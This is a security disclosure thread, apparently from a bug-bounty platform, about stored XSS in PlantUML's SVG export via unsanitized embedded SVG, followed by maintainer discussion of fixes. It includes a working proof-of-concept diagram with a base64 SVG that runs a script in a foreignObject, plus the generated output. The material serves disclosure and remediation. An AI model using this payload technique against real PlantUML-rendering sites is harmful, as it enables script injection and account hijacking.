XSS via Embedded SVG in SVG Diagram Format in plantuml/plantuml
Reported on
Apr 3rd 2022
Description
It is possible to embed SVG images in diagrams. When those are exported or used in a diagram in SVG format, the content of the embedded SVG image is included inline. This means the SVG markup gets inserted directly into the markup of the enclosing SVG.
Since the SVG content is not sanitized it opens a XSS vulnerability.
SVG allows among other things, the inclusion of HTML markup via foreignObject
elements.
So this also allows adding script
tags and executing JavaScript in the context of a website that embeds the diagram in SVG format.
With this technique the security measures like filtering out javascript:
-links of the diagram can be bypassed and even more dangerous payloads that execute automatically in the background can be delivered.
Handling of embedded SVG (constructing SVG string and setting a placeholder for serialization): https://github.com/plantuml/plantuml/blob/v1.2022.3/src/net/sourceforge/plantuml/svg/SvgGraphics.java#L899-L911
public void svgImage(UImageSvg image, double x, double y) {
if (hidden == false) {
String svg = manageScale(image);
final String pos = "<svg x=\"" + format(x) + "\" y=\"" + format(y) + "\">";
svg = pos + svg.substring(5);
final String key = "imagesvginlined" + image.getMD5Hex() + images.size();
final Element elt = (Element) document.createElement(key);
getG().appendChild(elt);
images.put(key, svg);
}
ensureVisible(x, y);
ensureVisible(x + image.getData("width"), y + image.getData("height"));
}
Serialization (replacing placeholder with markup of embedded SVG): https://github.com/plantuml/plantuml/blob/v1.2022.3/src/net/sourceforge/plantuml/svg/SvgGraphics.java#L644-L658
public void createXml(OutputStream os) throws TransformerException, IOException {
if (images.size() == 0) {
createXmlInternal(os);
return;
}
final ByteArrayOutputStream baos = new ByteArrayOutputStream();
createXmlInternal(baos);
String s = new String(baos.toByteArray());
for (Map.Entry<String, String> ent : images.entrySet()) {
final String k = "<" + ent.getKey() + "/>";
s = s.replace(k, ent.getValue());
}
s = removeXmlHeader(s);
os.write(s.getBytes());
}
Proof of Concept
As an example the PlantUML diagram below will automatically execute alert(document.domain)
when loaded:
PlantUML code:
@startuml
start
: aasdf <img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CiAgICA8Zm9yZWlnbk9iamVjdCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIj4KICAgICAgICA8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+CiAgICA8L2ZvcmVpZ25PYmplY3Q+Cjwvc3ZnPg=="> ;
stop
@enduml
Link for a PlantUML server (adjust host/port): http://127.0.0.1:8080/plantuml/svg/LOtHRe8m64RlVGhYhIPhG3VHiGHmIb5CnGMaTp-WNP5gOqaHdtwQB4jsyLsTdFEf1gvDRse0gF9el7F137Kjd7u93Kov07PuKPeDRgAUvQ0EhwCX2JOcxJmBqXZ17F7eosqnzouqhSyGR6rSVRQHZmS-TndstGaLTlTa-Sdc89AgzF-xuGupM2QIcj-8xF0jchirhaQhXyj-DodCJGTx3n6nK7GVejKorfcLD3GTexM8TPukPCvFRyItxvaLoYBO_lslJQeByUoFIIPadLaFLhMwiEYPCCVfVnYpdcekyWS0
The diagram above embeds the following base64 encoded SVG image:
<svg width="100" height="100">
<foreignObject width="100%" height="100%">
<script>alert(document.domain);</script>
</foreignObject>
</svg>
The resulting SVG of the diagram generated by PlantUML consists of:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" contentStyleType="text/css" height="223px" preserveAspectRatio="none" style="width:189px;height:223px;background:#FFFFFF;" version="1.1" viewBox="0 0 189 223" width="189px" zoomAndPan="magnify"><defs/><g><ellipse cx="94.5" cy="20" fill="#222222" rx="10" ry="10" style="stroke:#222222;stroke-width:1.0;"/><rect fill="#F1F1F1" height="120" rx="12.5" ry="12.5" style="stroke:#181818;stroke-width:0.5;" width="167" x="11" y="50"/><text fill="#000000" font-family="sans-serif" font-size="12" lengthAdjust="spacing" textLength="35" x="25" y="157.1699">aasdf</text><svg x="64" y="60">
<foreignObject width="100%" height="100%">
<script>alert(document.domain);</script>
</foreignObject>
</svg><text fill="#000000" font-family="sans-serif" font-size="12" lengthAdjust="spacing" textLength="4" x="164" y="157.1699"> </text><ellipse cx="94.5" cy="201" rx="11" ry="11" style="stroke:#222222;stroke-width:1.0;fill:none;"/><ellipse cx="94.5" cy="201" fill="#222222" rx="6" ry="6" style="stroke:#111111;stroke-width:1.0;"/><line style="stroke:#181818;stroke-width:1.0;" x1="94.5" x2="94.5" y1="30" y2="50"/><polygon fill="#181818" points="90.5,40,94.5,50,98.5,40,94.5,44" style="stroke:#181818;stroke-width:1.0;"/><line style="stroke:#181818;stroke-width:1.0;" x1="94.5" x2="94.5" y1="170" y2="190"/><polygon fill="#181818" points="90.5,180,94.5,190,98.5,180,94.5,184" style="stroke:#181818;stroke-width:1.0;"/>
The embedded SVG with the payload can be easily spotted.
Impact
Stored XSS in the context of the diagram embedder. Depending on the actual context, this ranges from stealing secrets to account hijacking or even to code execution for example in desktop applications. Web based applications are the ones most affected. Since the SVG format allows clickable links in diagrams, it is commonly used in plugins for web based projects (like the Confluence plugin, etc. see https://plantuml.com/de/running).
Thanks for the fast response. Sure I will help with feedback.
Do you already have a specific countermeasure in mind? I think there are two possible strategies:
- Use SVG
image
elements to include embedded SVGs. This would have the small downside of disable interactive elements. - Sanitize the embedded SVG. Unfortunately I don't know a good sanitizer library for SVG in Java. DOMPurify would do a good job, however it is written in JavaScript.
Hi Arnaud (@maintainer), I think that the fix is insufficient, but unfortunately this report seems to be public already?
How should we discuss this now?
I really think the only way to be sure is instead of embedding the inline svg directly as svg element is to use an svg image
and set the data URI as href of this element. This will disable any JavaScript or loading of external resources inside the embedded inline svg and make it safe.
I think that <image>
tag only works for raster image, not for SVG.
We've made some tests with <image>
using data URI, but it does not seem to work.
(see http://beta.plantuml.net/test_uri.svg )
Could you contact us by email ( plantuml@gmail.com ) ? Thanks!